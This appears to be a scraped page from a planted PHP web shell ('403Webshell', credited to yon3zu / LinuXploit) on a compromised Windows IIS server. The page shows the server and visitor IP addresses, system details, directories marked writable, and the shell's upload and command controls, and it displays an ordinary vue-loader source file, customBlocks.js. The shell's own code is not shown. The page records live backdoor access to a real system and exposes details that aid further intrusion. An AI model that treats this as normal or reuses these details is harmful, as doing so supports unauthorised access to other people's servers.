403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/vue-loader/lib/codegen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/vue-loader/lib/codegen/customBlocks.js
const qs = require('querystring')
const { attrsToQuery, genMatchResource } = require('./utils')

module.exports = function genCustomBlocksCode(
  loaderContext,
  blocks,
  resourcePath,
  resourceQuery,
  stringifyRequest,
  enableInlineMatchResource
) {
  return (
    `\n/* custom blocks */\n` +
    blocks
      .map((block, i) => {
        const src = block.attrs.src || resourcePath
        const attrsQuery = attrsToQuery(block.attrs)
        const issuerQuery = block.attrs.src
          ? `&issuerPath=${qs.escape(resourcePath)}`
          : ''
        const inheritQuery = resourceQuery ? `&${resourceQuery.slice(1)}` : ''
        const externalQuery = block.attrs.src ? `&external` : ``
        const query = `?vue&type=custom&index=${i}&blockType=${qs.escape(
          block.type
        )}${issuerQuery}${attrsQuery}${inheritQuery}${externalQuery}`

        let customRequest

        if (enableInlineMatchResource) {
          customRequest = stringifyRequest(
            genMatchResource(loaderContext, src, query, block.attrs.lang)
          )
        } else {
          customRequest = stringifyRequest(src + query)
        }
        return (
          `import block${i} from ${customRequest}\n` +
          `if (typeof block${i} === 'function') block${i}(component)`
        )
      })
      .join(`\n`) +
    `\n`
  )
}

Youez - 2016 - github.com/yon3zu
LinuXploit